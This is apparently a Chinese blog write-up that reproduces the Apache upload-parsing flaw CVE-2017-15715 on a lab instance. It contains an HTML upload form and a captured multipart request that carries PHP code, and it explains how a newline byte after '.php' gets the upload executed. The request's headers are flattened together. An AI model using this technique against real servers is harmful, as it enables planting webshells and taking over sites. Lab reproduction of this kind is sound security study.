vlambda博客
学习文章列表

Apache上传解析漏洞:cve_2017_15715

“Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略”


一,寻找漏洞

http://123.58.236.76/


二,漏洞复现

在该平台寻找对应的漏洞环境并启动,访问URl发现为空白页面,爆破目录,也没有任何收获,猜想该接口即为上传接口,于是,自己设计了一个本地的html上传文件,上传端口为:http://123.58.236.76:39410,注意,端口号每次启动环境都会改变,这里只是举例子!该html的文件为:

<html>
<title>Apache上传解析漏洞演示</title>
<head></head>
<body>
<form action="http://123.58.236.76:39410" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</body>
</html>


访问该页面,选择相应的php木马文件,并使用burp抓包,修改数据包如图:



注意,解析漏洞是指在图中划了红圈圈的地方,在php后加上%0a,这个0a必须在burp的hex模式下插入,burp的包应该修改为:

POST / HTTP/1.1Host: 123.58.236.76:39410Content-Length: 339Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOedBmg2SKASz8aliUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
------WebKitFormBoundaryOedBmg2SKASz8aliContent-Disposition: form-data; name="file"; filename="3.phpgg"Content-Type: application/octet-stream
asdfsadfasd<?php phpinfo();?>Dasfsdafadsfafds------WebKitFormBoundaryOedBmg2SKASz8aliContent-Disposition: form-data; name="name"
3.php
------WebKitFormBoundaryOedBmg2SKASz8ali--


最后,访问该文件时,必须在文件后加上%0a,如图: